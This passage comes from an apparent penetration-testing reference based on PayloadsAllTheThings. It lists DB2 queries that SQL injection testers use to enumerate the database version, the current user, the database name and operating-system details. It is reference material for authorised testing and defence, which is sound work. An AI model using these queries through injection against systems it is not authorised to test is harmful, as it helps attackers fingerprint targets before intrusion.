SQL Injection · passage 42 of 186

DB2 Injection: DB2 Enumeration

Text · SQL Injection/DB2 Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

| Description | SQL Query | | ---------------- | ---------------------------------------------------------------------------------------------------- | | DBMS version | `select versionnumber, version_timestamp from sysibm.sysversions;` | | DBMS version | `select service_level from table(sysproc.env_get_inst_info()) as instanceinfo` | | DBMS version | `select getvariable('sysibm.version') from sysibm.sysdummy1` | | DBMS version | `select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo` | | DBMS version | `select service_level,bld_level from sysibmadm.env_inst_info` | | Current user | `select user from sysibm.sysdummy1` | | Current user | `select session_user from sysibm.sysdummy1` | | Current user | `select system_user from sysibm.sysdummy1` | | Current database | `select current server from sysibm.sysdummy1` | | OS info | `select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info` |

Every one of the 186 is a mark on the map. Named now: 27 to 52, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.